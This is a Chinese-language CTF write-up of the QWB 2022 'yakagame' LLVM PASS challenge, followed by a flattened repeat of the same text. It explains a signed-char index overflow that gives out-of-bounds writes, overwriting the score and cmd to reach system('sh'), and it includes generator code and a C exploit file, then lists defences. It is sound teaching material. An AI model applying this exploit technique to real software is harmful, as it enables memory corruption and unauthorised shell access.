LLVM PASS PWN (三)
字数 1340 2025-08-26 22:11:40

LLVM PASS PWN 漏洞分析与利用教学文档

1. 背景介绍

LLVM PASS PWN 是一种针对 LLVM 优化器插件 (PASS) 的漏洞利用技术。本教学文档基于强网杯2022 yakagame 题目,详细分析 LLVM PASS 中的漏洞及其利用方法。

2. 题目分析

2.1 题目文件

  • opt-8: LLVM 优化器工具 (版本8)
  • yaka.so: 自定义的 LLVM PASS 插件
  • readme.md: 说明文件,给出运行格式:opt-8 -load ./yaka.so -ayaka ./exp.ll

2.2 PASS 工作机制

PASS 会重写 runOnFunction 函数,对特定函数进行优化处理。本题中 PASS 主要处理 gamestart 函数。

3. 逆向分析

3.1 关键函数分析

3.1.1 fight 函数

  • 需要至少一个参数
  • weapon_list 中取出对应索引的值与 boss 比较
  • 大于等于 boss 则获胜并获得分数
  • 小于 boss 则失败

3.1.2 backdoor 函数

  • score > 0x12345678 时调用
  • 使用 system(cmd) 执行命令
  • cmd 经过异或、加减运算,初始为乱码

3.1.3 其他功能函数

  1. merge:

    • 两个参数
    • 取出两个参数对应的 weaponlist 值并相加
  2. destroy:

    • 一个参数
    • 将对应 weaponlist 的值设为0
  3. upgrade:

    • 一个参数
    • weaponlist 中每个值都加上参数值

3.1.4 未知函数处理

  • 遇到未知函数名会存入 funMap
  • 函数参数会被放入 weaponlist
  • 相同函数名多次调用不会重复添加,只会更新对应位置的值
  • 函数名遍历按名称排序进行

3.2 漏洞点

关键漏洞位于索引处理部分:

v33 = /* weaponlist index */;  // 有符号char类型(-128~127)

v33 为127时再加1会变为-128,导致负数索引,可实现数组越界访问。

4. 漏洞利用

4.1 利用思路

  1. 通过负数索引覆盖 score 变量
  2. score 改为一个指向大数值的指针地址
  3. 利用 backdoor 执行系统命令

4.2 利用步骤

4.2.1 准备函数

生成256个不同名称的函数来填充 weaponlist

for i in range(128 * 2):
    print('void z1r0{0:003}'.format(i) + '(int a){}')
    print('z1r0{0:003}'.format(i) + '(0);')

4.2.2 计算偏移

  • score 位于 -0x10 偏移处
  • 255对应-1,因此240对应-0x10

4.2.3 覆盖 score

score 覆盖为GOT表地址,使其指向的值大于 0x12345678

4.2.4 命令构造

直接构造 cmd 为"sh"字符串地址,通过ROP获取地址后执行 system("sh")

4.3 完整利用代码

#include <stdio.h>

// 基础函数定义
void fight(int a){}
void merge(int a, int b){}
void destroy(int a){}
void upgrade(int a){}
void wuxiangdeyidao(){}
void zhanjinniuza(){}
void guobapenhuo(){}
void tiandongwanxiang(){}

// 生成的256个函数
void z1r0000(int a){} void z1r0001(int a){} 
// ... 省略中间部分 ...
void z1r0255(int a){}

void gamestart(){
    // 初始函数调用
    tiandongwanxiang(); wuxiangdeyidao(); 
    zhanjinniuza(); guobapenhuo();
    
    // 填充 weaponlist
    z1r0000(0); z1r0001(0); /* ... */ z1r0127(0); // 0-127
    z1r0128(0); /* ... */ z1r0255(0); // -128--1
    
    // 关键覆盖
    z1r0232(0xbd); z1r0233(0xa4); z1r0234(0x6e); // 修改cmd
    z1r0240(0xf0); z1r0241(0xde); z1r0242(0x77); // 覆盖score
    
    // 触发
    fight(0);
}

5. 总结与防御

5.1 漏洞总结

  1. 使用有符号整数作为数组索引导致越界
  2. 缺乏对索引值的边界检查
  3. 敏感数据(score)存储在可被覆盖的区域

5.2 防御建议

  1. 使用无符号整数进行数组索引
  2. 添加严格的边界检查
  3. 将敏感数据与可修改区域隔离
  4. 对关键变量进行完整性校验

6. 参考资料

  1. LLVM PASS PWN 分析文章
  2. LLVM 官方文档
  3. 强网杯2022官方题目资料
LLVM PASS PWN 漏洞分析与利用教学文档 1. 背景介绍 LLVM PASS PWN 是一种针对 LLVM 优化器插件 (PASS) 的漏洞利用技术。本教学文档基于强网杯2022 yakagame 题目,详细分析 LLVM PASS 中的漏洞及其利用方法。 2. 题目分析 2.1 题目文件 opt-8 : LLVM 优化器工具 (版本8) yaka.so : 自定义的 LLVM PASS 插件 readme.md : 说明文件,给出运行格式: opt-8 -load ./yaka.so -ayaka ./exp.ll 2.2 PASS 工作机制 PASS 会重写 runOnFunction 函数,对特定函数进行优化处理。本题中 PASS 主要处理 gamestart 函数。 3. 逆向分析 3.1 关键函数分析 3.1.1 fight 函数 需要至少一个参数 从 weapon_list 中取出对应索引的值与 boss 比较 大于等于 boss 则获胜并获得分数 小于 boss 则失败 3.1.2 backdoor 函数 当 score > 0x12345678 时调用 使用 system(cmd) 执行命令 cmd 经过异或、加减运算,初始为乱码 3.1.3 其他功能函数 merge : 两个参数 取出两个参数对应的 weaponlist 值并相加 destroy : 一个参数 将对应 weaponlist 的值设为0 upgrade : 一个参数 weaponlist 中每个值都加上参数值 3.1.4 未知函数处理 遇到未知函数名会存入 funMap 函数参数会被放入 weaponlist 中 相同函数名多次调用不会重复添加,只会更新对应位置的值 函数名遍历按名称排序进行 3.2 漏洞点 关键漏洞位于索引处理部分: 当 v33 为127时再加1会变为-128,导致负数索引,可实现数组越界访问。 4. 漏洞利用 4.1 利用思路 通过负数索引覆盖 score 变量 将 score 改为一个指向大数值的指针地址 利用 backdoor 执行系统命令 4.2 利用步骤 4.2.1 准备函数 生成256个不同名称的函数来填充 weaponlist : 4.2.2 计算偏移 score 位于 -0x10 偏移处 255对应-1,因此240对应-0x10 4.2.3 覆盖 score 将 score 覆盖为GOT表地址,使其指向的值大于 0x12345678 4.2.4 命令构造 直接构造 cmd 为"sh"字符串地址,通过ROP获取地址后执行 system("sh") 4.3 完整利用代码 5. 总结与防御 5.1 漏洞总结 使用有符号整数作为数组索引导致越界 缺乏对索引值的边界检查 敏感数据(score)存储在可被覆盖的区域 5.2 防御建议 使用无符号整数进行数组索引 添加严格的边界检查 将敏感数据与可修改区域隔离 对关键变量进行完整性校验 6. 参考资料 LLVM PASS PWN 分析文章 LLVM 官方文档 强网杯2022官方题目资料